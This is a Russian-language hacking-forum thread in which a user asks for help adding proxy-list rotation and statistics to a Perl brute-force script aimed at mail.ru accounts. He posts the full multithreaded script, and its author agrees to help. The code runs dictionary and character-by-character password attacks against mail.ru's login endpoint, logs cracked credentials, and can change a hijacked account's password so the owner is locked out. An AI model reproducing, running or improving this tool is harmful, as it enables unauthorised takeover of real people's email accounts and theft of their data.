PDA

Просмотр полной версии : Доработка брутера на perl


Хозяин
05.03.2008, 22:47
В общем такая ситуация: в перле я ни бум бум, а нужно доработать скрипт брута mail.ru от genom-- (за скрипт ему отдельное спасибо))

Нужно научить скрипт работать со списком прокси (с 1 он уже умеет работать + хоть какую-нибудь статистику по колличеству пробрученных адресов и колличеству сбрученных)

С меня собственно куча + в репу, может еще чем помогу по возможности, я не жадный)

#!/usr/bin/perl
######################### genom-- mail bruter v 4.0 #####################
# специально для antichat.ru
#
# Приветы: +toxa+, gemaglabin, tclover, slider, nerezus, podkashey, friackazoid, A110ut, b00zy_c0d3r, k1b0rg, limpompo and other good boys & girls.
# привет и всем остальным кто ко мне хорошо относится -- а кто плохо вы сами знаете куда вам идти
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~NO SPloA<-->NO WorLD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Затеряный в бескрайних лесах белорусии секретный бункер №19753 .2007 год.
# Use:
# mail.pl brute - для символьного перебора
# mail.pl - для брута по словарю
# mail.pl wget http://somesute.com/dict.txt - для брута по словарю с его предварительной выкачкой самим скриптом
# при выборе режима посимвольного перебора придется указать мин и максимальную длину пароля а также вручную
# выставить набор символов которые будут входить в генерируемые пароли
######################### genom-- mail bruter v 4.0 #######################

use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
my $num : shared;
my $dyndyk : shared;
my $thepass : shared;

print "\a\a\a\a########## GeNoM-- mail.ru bruter v 4.0 || icq^963202 ###############\n";

my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$ua->timeout(60);
$ua->max_size(64);
$ua->agent('antichat shell v -197.0 - admin /\0X');
$ua->cookie_jar($cookies);
$ua->requests_redirectable(0);
################################ КОНФИГ #################################
# $proxy='127.0.0.1:8080';
# $ua->proxy('http'=>"http://$proxy"); # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так

$threads=10; # количество потоков
$tclover=10; # количество пасов отбручиваемых потоком
$getpass=0; # менять пароль 1, неменять - 0
$br=0; # переменная флаг брута - установите в 1 если хотите чтобы всегда брутилось символьным перебором

@chr=('',1..5); # набор символов из которых будет генерироваться словарь - ВАЖНО первый символ не убирать
################################ КОНЕЦ ###################################
if(@ARGV[0] eq 'brute'){$br=1;}

$time=localtime;
print "Start brute in $time\n";

############# автоскачка файла с пассами
if(@ARGV[0] eq 'wget'){
$link328=@ARGV[1];
print "Downloading passwd list->$link328\n";
my $res = $ua->get($link328) or die "Can't download file.\n";
open lodd,">pass.txt";
binmode lodd;
$slovo=$res->content;
if($slovo=~/Not Found/){print "File not found.\n";exit;}
if($slovo=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}
$slovo=~s/<[^>]+>//ig; # затераем теги на всякий случай.
print lodd $slovo;
close lodd;
print "Downloading complite. File save as pass.txt.\n";
}

open(pass,"<pass.txt");
while($sykaz=<pass>){$what_pass++;}
close(pass);
open(mails,"<mail.txt");
while($sykaz=<mails>){$what_mail++;}
close(mails);
print"\n~~~~~ total mails:$what_mail and password:$what_pass ~~~~~\n\n";
open(mails,"<mail.txt");

############ prebrut
if($br==1){
@pas=(0,0,0,0,0,0,0,0,1); # массив символизирующий начальное положение счетчика

print"Insert min length or press enter by 1->";
$min=<STDIN>;
chomp$min;
if($min eq''){$min=1;}
print"Insert max length->";
$max=<STDIN>;
chomp$max;
foreach(@chr){$sum++;}
foreach(@pas){$dll++;}

# выставляем начально значение счетчика согласно мин длине пароля
for ($i = $dll-1; $i >=$dll-$min; $i--) {
@pas[$i]=1; }
}
############
while ($mails=<mails>) {
print"Start brute mail->$mails\n";
chomp $mails;
($login,$domain)=split(/\@/,$mails);

open(pass,"<pass.txt") if $br==0;
puk:
if($br==1){
for ($i2 = 0; $i2 < $tclover; $i2++) {
for ($i = $dll-1; $i >= 0; $i--) {
if(@pas[$i]>($sum-1)){@pas[$i-1]++;
@pas[$i]=@pas[$i]-($sum-1);}
}
@passwd[$i2]="@chr[@pas[0]]@chr[@pas[1]]@chr[@pas[2]]@chr[@pas[3]]@chr[@pas[4]]@chr[@pas[5]]@chr[@pas[6]]@chr[@pas[7]]@chr[@pas[8]]";
if(@pas[$dll-1]==$sum){next;} # эта строчка исправляет небольшую колизию при составлении пароля
@pas[$dll-1]++;
if(length($str)>$max){print"\n\nMax lenght of password ....\n\n";goto(konec);}
}
}
else{
for ($i = 0; $i < $tclover; $i++) {
$password=<pass>;
chomp $password;
@passwd[$i]=$password;
}}

print"\nStart new thread with mail->$mails and password->@passwd[0]\n";
open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg;
threads->create(\&brut,@passwd);
$num++;
$got+=$tclover;
sleep(1);
if($got >= $what_pass && $br==0){print"\n\nEnd of password list ....\n\n";goto(konec);}
if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);}
check:
if($num < $threads){goto(puk)}
else{sleep(1);goto(check);};
konec:
$got=0;
foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше
close(pass);
$dyndyk=0;
if($br==1){ # выставляем счетчик заново
for ($ii = $dll; $ii >=0; $ii--) {@pas[$ii]=0;}
for ($i = $dll-1; $i >=$dll-$min; $i--) {
@pas[$i]=1; }
}
$time=localtime;
print "Start brute in $time\n";
}
close(mails);

sub brut {
foreach $pyss(@_){
next if($dyndyk==55);
my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $login, 'Domain' => $domain, 'Password' => $pyss });

if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}
if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n";
if($getpass==1) {$pyss=new_pass($login,$domain,$pyss);};
open brut, ">>brute-mail.txt";print brut "$login\@$domain->$pyss\n";close brut;
open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg;

}
}
$num--;
}

############### получаем новый пасс
sub new_pass{
my ($log,$dom,$pass)=@_;

my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $log, 'Domain' => $dom , 'Password' => $pass });
my $newpass=randpass();
my $res = $ua->post('http://win.mail.ru/cgi-bin/modifypass', {'modify' => 1, 'Username' => $log, 'oldPswd' => $pass, 'Password' => $newpass, 'Password_Verify' => $newpass });
print "Get new pass ...[ok]\nNew password ->$newpass\n\n";
return $newpass;
}

########### генерим новый пароль
sub randpass{
my $rand;
for (1..2){
$rand.=chr(rand(26)+65);
$rand.=chr(rand(10)+48);
$rand.=chr(rand(26)+97);
}
return $rand;
}

genom--
05.03.2008, 23:26
да пожалуйста )